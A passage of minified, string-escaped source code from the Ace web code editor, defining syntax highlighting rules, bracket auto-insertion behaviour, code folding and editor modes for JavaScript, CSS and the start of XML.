]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"m